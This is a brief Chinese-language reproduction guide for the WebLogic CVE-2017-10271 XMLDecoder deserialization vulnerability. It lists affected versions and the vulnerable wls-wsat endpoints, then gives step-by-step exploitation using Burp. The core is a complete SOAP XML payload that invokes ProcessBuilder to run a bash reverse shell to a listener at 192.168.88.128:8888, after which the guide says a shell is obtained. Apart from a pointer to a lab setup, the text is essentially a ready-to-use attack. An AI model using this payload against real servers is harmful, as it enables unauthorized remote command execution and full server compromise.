漏洞環境搭建請參考
http://t.csdnimg.cn/i11e2
漏洞原理
Weblogic的wls security組件對外提供webservice服務,wls security組件使用了xmldecoder來解析用戶傳入的xml數據,如果用戶進行xml惡意數據的構造,即可觸發反序列化漏洞
漏洞版本
OracleWebLogic Server10.3.6.0.0
OracleWebLogic Server12.1.3.0.0
OracleWebLogic Server12.2.1.1.0
OracleWebLogic Server12.2.1.2.0
漏洞驗證
(1)訪問web站點,weblogic經典頁面
(2)weblogicscan掃描,發現存在漏洞,進行CVE-2017-10271的復現操作
(3)或者訪問以下組件地址,出現以下頁面證明存在該漏洞
/wls-wsat/CoordinatorPortType
/wls-wsat/RegistrationPortTypeRPC
/wls-wsat/ParticipantPortType
/wls-wsat/RegistrationRequesterPortType
/wls-wsat/CoordinatorPortType11
/wls-wsat/RegistrationPortTypeRPC11
/wls-wsat/ParticipantPortType11
/wls-wsat/RegistrationRequesterPortType11
漏洞利用
(1)攻擊機開啟監聽
(2)在該組件頁面進行F5刷新,Bp抓包
(3)修改數據包的提交方式為POST,并且加入以下payload
Content-Type: text/xml
Content-Length: 637<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i >& /dev/tcp/192.168.88.128/8888 0>&1</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
(4)放包即可拿到反彈shell